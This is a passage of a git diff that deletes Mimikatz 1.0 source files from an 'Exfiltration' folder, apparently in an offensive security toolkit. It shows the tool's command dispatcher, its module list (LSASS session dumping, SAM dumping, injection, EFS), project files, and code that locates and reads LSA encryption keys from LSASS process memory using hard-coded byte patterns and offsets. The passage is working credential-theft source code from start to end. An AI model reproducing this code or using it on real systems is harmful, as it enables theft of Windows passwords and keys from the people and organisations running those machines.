- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands()));
- return true;
-}
-
-mimikatz::mimikatz(vector * mesArguments) : Kmimikatz(NULL)
-{
- initLocalModules();
- SetConsoleTitle(MIMIKATZ_FULL);
- (*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl <<
- L"// http://blog.gentilkiwi.com/mimikatz" << endl;
-
- bool mustContinue = true;
- if(mesArguments)
- {
- for(vector::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++)
- {
- wstring commande = *maCommande;
- (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl;
- mustContinue = tryToDispatch(&commande);
- }
- }
-
- if(mustContinue)
- {
- wstring * monBuffer = new wstring();
- do
- {
- (*outputStream) << endl << MIMIKATZ << L" # " << dec;
- getline(wcin, *monBuffer);
- } while(tryToDispatch(monBuffer));
- delete monBuffer;
- }
- wcout.flush();
-}
-
-mimikatz::~mimikatz(void)
-{
- mod_cryptoapi::unloadRsaEnh();
- mod_mimikatz_sekurlsa::unloadLsaSrv();
- mod_mimikatz_inject::closeThisCommunicator();
-}
-
-bool mimikatz::tryToDispatch(wstring * maLigne)
-{
- bool reussite = false;
-
- if(!(reussite = maLigne->empty()))
- {
- switch(*(maLigne->begin()))
- {
- case L'@':
- case L'*':
- reussite = this->doCommandeDistante(maLigne->substr(1));
- break;
- case L'!':
- reussite = this->doCommandeKernel(maLigne->substr(1));
- break;
- default:
- wstring fonction = *maLigne;
- vector arguments;
-
- size_t monIndex = fonction.find(L' ');
- if(monIndex != wstring::npos)
- {
- fonction = fonction.substr(0, monIndex);
- arguments = mod_parseur::parse(maLigne->substr(monIndex + 1));
- }
- reussite = doCommandeLocale(&fonction, &arguments);
- }
- }
-
- return reussite;
-}
-
-bool mimikatz::doCommandeLocale(wstring * fonction, vector * arguments)
-{
- size_t monIndex = fonction->find(L"::");
-
- wstring module = L"";
- wstring commande = *fonction;
-
- if(monIndex != wstring::npos)
- {
- module = fonction->substr(0, monIndex);
- commande = fonction->substr(monIndex + 2);
- }
-
- for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
- {
- if(module == monModule->module)
- {
- for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
- {
- if(commande == maCommande->commandName)
- {
- return maCommande->ptrCommand(arguments);
- }
- }
-
- if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl;
- else (*outputStream) << L"Module : \'" << module << L"\' identifi, mais commande \'" << commande << L"\' introuvable" << endl;
-
- (*outputStream) << endl << L"Description du module : " << monModule->description << endl;
- listCommandes(monModule);
-
- return true;
- }
- }
-
- (*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl;
- listModules();
- return true;
-}
-
-bool mimikatz::openKernel()
-{
- bool reussite = false;
-
- if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE)
- {
- (*outputStream) << L"Ouverture du pilote mimikatz : ";
- Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
-
- if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE))
- (*outputStream) << L"OK";
- else
- (*outputStream) << L"CreateFile ; " << mod_system::getWinError();
- (*outputStream) << endl;
- }
- else
- {
- reussite = true;
- }
-
- return reussite;
-}
-
-bool mimikatz::closeKernel()
-{
- bool reussite = false;
- if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)
- {
- if(CloseHandle(Kmimikatz))
- {
- Kmimikatz = NULL;
- reussite = true;
- }
- }
- return reussite;
-}
-
-bool mimikatz::doCommandeKernel(std::wstring &commande)
-{
- if(!commande.empty())
- {
- if(openKernel())
- {
- DWORD dwReturn;
- /*
- (*outputStream) << L"DEBUG WriteFile " << endl <<
- L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl;
- */
- if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL))
- {
- /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/
-
- DWORD dwBuff = 0x40000;
- DWORD dwRead = 0;
- BYTE * buffer = new BYTE[dwBuff];
- RtlZeroMemory(buffer, dwBuff);
-
- /*(*outputStream) << L"DEBUG ReadFile " << endl <<
- L"\tBuffSize : " << dwBuff << endl;*/
-
- if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL))
- {
- /*(*outputStream) <<
- L"\tReaded : " << dwRead << endl <<
- endl;
- */
- wcout /*<< L"BUFF : " << endl*/
- << reinterpret_cast(buffer) << endl;
- }
- else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl;
-
- delete[] buffer;
- }
- else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl;
- }
- else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz";
- }
- else
- {
- (*outputStream) << L"Commande vide (fermeture force) reue" << endl;
- closeKernel();
- }
-
- return true;
-}
-
-bool mimikatz::doCommandeDistante(std::wstring &commande)
-{
- bool commOk = false;
-
- if(mod_mimikatz_inject::monCommunicator)
- {
- if(!commande.empty())
- {
- if(mod_mimikatz_inject::monCommunicator->isConnected())
- {
- if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande))
- {
- wstring buffer = L"";
- do
- {
- if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer))
- {
- (*outputStream) << buffer.substr(1) ;
- }
- else
- {
- (*outputStream) << L"Erreur : pas de rponse possible ; " << mod_system::getWinError() << endl;
- break;
- }
- } while(*(buffer.begin()) == L'#');
- }
- else (*outputStream) << L"Erreur : pas d\'criture possible ; " << mod_system::getWinError() << endl;
- }
- }
- else (*outputStream) << L"Commande vide (dconnexion force) reue" << endl;
- }
- else (*outputStream) << L"Erreur : pas ou plus de communication tablie" << endl;
-
- if(!commOk)
- mod_mimikatz_inject::closeThisCommunicator();
-
- return true;
-}
-
-void mimikatz::listModules()
-{
- for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
- {
- (*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl;
- }
-}
-
-void mimikatz::listCommandes(vector::iterator monModule)
-{
- for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
- {
- if(maCommande->commandName.front() != L':')
- (*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl;
- }
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h
deleted file mode 100644
index 2973368..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h
+++ /dev/null
@@ -1,57 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "globdefs.h"
-#include "mod_parseur.h"
-#include "mod_pipe.h"
-#include "mod_process.h"
-#include "mod_system.h"
-
-#include "modules/mod_mimikatz_standard.h"
-#include "modules/mod_mimikatz_crypto.h"
-#include "modules/mod_mimikatz_hash.h"
-#include "modules/mod_mimikatz_system.h"
-#include "modules/mod_mimikatz_process.h"
-#include "modules/mod_mimikatz_thread.h"
-#include "modules/mod_mimikatz_service.h"
-#include "modules/mod_mimikatz_privilege.h"
-#include "modules/mod_mimikatz_handle.h"
-#include "modules/mod_mimikatz_winmine.h"
-#include "modules/mod_mimikatz_minesweeper.h"
-#include "modules/mod_mimikatz_nogpo.h"
-#include "modules/mod_mimikatz_samdump.h"
-#include "modules/mod_mimikatz_inject.h"
-#include "modules/mod_mimikatz_terminalserver.h"
-#include "modules/mod_mimikatz_divers.h"
-#include "modules/mod_mimikatz_impersonate.h"
-#include "modules/mod_mimikatz_sekurlsa.h"
-#include "modules/mod_mimikatz_efs.h"
-#include "global.h"
-
-class mimikatz
-{
-private:
- static vector getMimiKatzCommands();
- vector mesModules;
- bool initLocalModules();
- bool tryToDispatch(wstring * maLigne);
- bool doCommandeLocale(wstring * fonction, vector * arguments);
- bool doCommandeDistante(std::wstring &commande);
- bool doCommandeKernel(std::wstring &commande);
-
- bool openKernel();
- bool closeKernel();
-
- void listModules();
- void listCommandes(vector::iterator monModule);
-
- HANDLE Kmimikatz;
-
-public:
- mimikatz(vector * mesArguments = NULL);
- virtual ~mimikatz(void);
-};
-
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc
deleted file mode 100644
index 85dd98f..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj
deleted file mode 100644
index 5c0f138..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj
+++ /dev/null
@@ -1,228 +0,0 @@
-
-
-
-
- Release
- Win32
-
-
- Release
- x64
-
-
-
- {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}
- Win32Proj
- mimikatz
-
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
-
-
-
-
-
-
-
-
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
- false
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
- false
-
-
-
- Level3
- NotUsing
- Full
- true
- true
- WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)
- true
- Fast
- false
- false
- true
- false
- Size
- None
-
-
- Console
- true
- true
- psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib
- false
- NoErrorReport
-
-
- 0x040c
-
-
-
-
- Level3
- NotUsing
- Full
- true
- true
- WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)
- true
- Fast
- false
- false
- true
- false
- Size
- None
- MultiThreaded
-
-
- Console
- true
- true
- psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib
- false
- NoErrorReport
-
-
- 0x040c
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters
deleted file mode 100644
index 378149f..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters
+++ /dev/null
@@ -1,386 +0,0 @@
-
-
-
-
- {86154ac4-51c4-4228-9ebb-5bc3c67c82a5}
-
-
- {ab2db025-9ada-4b24-9f10-5bc479e72179}
-
-
- {4745ebd5-cfb4-4ff6-b2a2-5c867f06f52a}
-
-
- {3774201f-55a6-4793-8ca7-b6a9b1ff795b}
-
-
- {81abef97-02ad-49e1-abfc-05b3c052b87c}
-
-
- {5132675e-44a3-4ab9-a33b-91cbeaa9559a}
-
-
- {5b8a7a54-517e-4ab4-b7e6-be738e69c0c7}
-
-
- {1c14c20e-5127-461c-8c84-e47f621878a5}
-
-
- {13a67a74-e658-49da-8af5-857e3d692af7}
-
-
- {56b648ea-1ae8-4f7b-90b6-860f84d468d9}
-
-
- {4e99b7f2-6de3-4984-a50a-0f60b3cf74d6}
-
-
- {e3eb943a-ee7e-4141-afb7-51276c95b0e1}
-
-
- {3d143a37-f444-4586-8866-b7c022720fb0}
-
-
- {83996a56-5b3b-4d85-aa27-8cc0d3f1a5b6}
-
-
- {22cb979b-54ee-4732-bd93-538856c4818f}
-
-
- {33450f45-6837-4cba-af7b-457bceebc085}
-
-
- {660c14bc-8634-4e80-87d6-39f9dab51e2d}
-
-
- {238e934d-2706-4fe3-8b7a-f14c2939f060}
-
-
- {d5a5224b-a3d5-4ebb-9805-08998c7ed015}
-
-
- {2a99a328-634d-44e7-bcaa-30112f169554}
-
-
- {c8277a95-f9da-4352-9bb1-b35c883c6054}
-
-
- {b482744c-513e-41c6-a766-22adead15ecd}
-
-
- {a5ed030b-28fe-41b0-9f63-b254fd57400f}
-
-
- {77e8ad35-fa4d-4e0d-afdc-ae3060d5370a}
-
-
- {43b545d3-ad41-4c42-970d-7850d77b5432}
-
-
- {3a9d8afc-3734-4b86-ab2a-a300a20f956a}
-
-
-
-
-
- Modules Communs\Certificats & Clés
-
-
- Modules Communs\Injecteur
-
-
- Modules Communs\Mémoire
-
-
- Modules Communs\Parseur
-
-
- Modules Communs\System
-
-
- Modules locaux pour mimikatz\Certificats & Clés
-
-
- Modules locaux pour mimikatz\Standard
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules locaux pour mimikatz\Démineur
-
-
- Modules locaux pour mimikatz\AntiGpo
-
-
- Modules Communs\System
-
-
- Modules Communs\Registre
-
-
- Modules locaux pour mimikatz\Samdump
-
-
- Modules Communs\Communication
-
-
- Modules locaux pour mimikatz\Injecteur
-
-
- Modules Communs\Certificats & Clés
-
-
- Modules Communs\Certificats & Clés
-
-
- Modules Communs\Patch
-
-
- Modules locaux pour mimikatz\Terminal Server
-
-
- Modules locaux pour mimikatz\Divers
-
-
- Modules Communs\Securité et ACL
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules Communs\System
-
-
- Modules Communs\System
-
-
- Modules Communs\System
-
-
- Modules Communs\System
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules Communs\Terminal Server
-
-
- Modules locaux pour mimikatz\Impersonate
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules Communs\Texte
-
-
- Modules Communs\Certificats & Clés
-
-
- Modules locaux pour mimikatz\Certificats & Clés
-
-
- Modules Communs\System
-
-
- Modules locaux pour mimikatz\Démineur
-
-
- Modules locaux pour mimikatz\SekurLSA
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\Certificats & Clés
-
-
- Modules Communs\System
-
-
- Modules Communs\System
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\LSA Keys
-
-
- Modules locaux pour mimikatz\SekurLSA\LSA Keys
-
-
-
-
-
-
-
- Modules Communs\Certificats & Clés
-
-
- Modules Communs\Injecteur
-
-
- Modules Communs\Mémoire
-
-
- Modules Communs\Parseur
-
-
- Modules Communs\System
-
-
- Modules locaux pour mimikatz\Certificats & Clés
-
-
- Modules locaux pour mimikatz\Standard
-
-
- Modules locaux pour mimikatz\Démineur
-
-
- Modules locaux pour mimikatz\AntiGpo
-
-
- Modules Communs\Registre
-
-
- Modules locaux pour mimikatz\Samdump
-
-
- Modules Communs\Communication
-
-
- Modules locaux pour mimikatz\Injecteur
-
-
- Modules Communs\Certificats & Clés
-
-
- Modules Communs\Certificats & Clés
-
-
- Modules Communs\Patch
-
-
- Modules locaux pour mimikatz\Terminal Server
-
-
- Modules locaux pour mimikatz\Divers
-
-
- Modules Communs\Securité et ACL
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules Communs\System
-
-
- Modules Communs\System
-
-
- Modules Communs\System
-
-
- Modules Communs\System
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules Communs\Terminal Server
-
-
- Modules locaux pour mimikatz\Impersonate
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules Communs\Texte
-
-
- Modules Communs\Certificats & Clés
-
-
- Modules locaux pour mimikatz\Certificats & Clés
-
-
- Modules Communs\System
-
-
- Modules locaux pour mimikatz\Démineur
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA
-
-
- Modules locaux pour mimikatz\System
-
-
- Modules locaux pour mimikatz\Certificats & Clés
-
-
- Modules Communs\System
-
-
- Modules Communs\System
-
-
- Modules locaux pour mimikatz\SekurLSA\Security Packages
-
-
- Modules locaux pour mimikatz\SekurLSA\LSA Keys
-
-
- Modules locaux pour mimikatz\SekurLSA\LSA Keys
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp
deleted file mode 100644
index 9b51c7f..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp
+++ /dev/null
@@ -1,76 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "keys_nt5.h"
-#include "..\..\global.h"
-PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL;
-
-#ifdef _M_X64
-BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3};
-LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long));
-LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long));
-LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long));
-LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long));
-#elif defined _M_IX86
-BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68};
-LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY);
-LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2;
-LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2;
-LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2;
-#endif
-
-bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData()
-{
- PBYTE ptrBase = NULL;
- DWORD mesSucces = 0;
- if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY)))
- {
-#ifdef _M_X64
- PBYTE g_Feedback = reinterpret_cast((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback));
- g_pRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey));
- g_pDESXKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey));
- PDWORD g_cbRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey));
-#elif defined _M_IX86
- PBYTE g_Feedback = *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback);
- g_pRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey);
- g_pDESXKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey);
- PDWORD g_cbRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey);
-#endif
- *g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL;
-
- mesSucces = 0;
- if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS))
- mesSucces++;
- if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS))
- mesSucces++;
- if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
- {
- mesSucces++;
- *g_pRandomKey = new BYTE[*g_cbRandomKey];
- if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS))
- mesSucces++;
- }
- if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
- {
- mesSucces++;
- *g_pDESXKey = new BYTE[144];
- if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS))
- mesSucces++;
- }
- }
- else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl;
- return (mesSucces == 6);
-}
-
-bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData()
-{
- if(g_pRandomKey && *g_pRandomKey)
- delete[] *g_pRandomKey;
- if(g_pDESXKey && *g_pDESXKey)
- delete[] *g_pDESXKey;
-
- return true;
-}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h
deleted file mode 100644
index 121d9c5..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h
+++ /dev/null
@@ -1,17 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../mod_mimikatz_sekurlsa.h"
-
-class mod_mimikatz_sekurlsa_keys_nt5 {
-
-private:
- static PBYTE *g_pRandomKey, *g_pDESXKey;
-public:
- static bool searchAndInitLSASSData();
- static bool uninitLSASSData();
-};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp
deleted file mode 100644
index ac642ef..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp
+++ /dev/null
@@ -1,186 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
-http://blog.gentilkiwi.com
-benjamin@gentilkiwi.com
-Licence : http://creativecommons.org/licenses/by/3.0/fr/
-Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "keys_nt6.h"
-#include "..\..\global.h"
-HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL;
-PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL;
-mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL;
-BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL;
-
-BYTE kiwiRandom3DES[24], kiwiRandomAES[16];
-
-#ifdef _M_X64
-BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D};
-LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3;
-LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long));
-LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3;
-LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long));
-LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3;
-
-BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D};
-LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3;
-LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long));
-LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3;
-#elif defined _M_IX86
-BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68};
-LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long));
-LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long));
-LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
-
-BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68};
-LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long));
-LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long));
-LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
-#endif
-
-bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData()
-{
- if(!hBCrypt)
- hBCrypt = LoadLibrary(L"bcrypt");
-
- PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
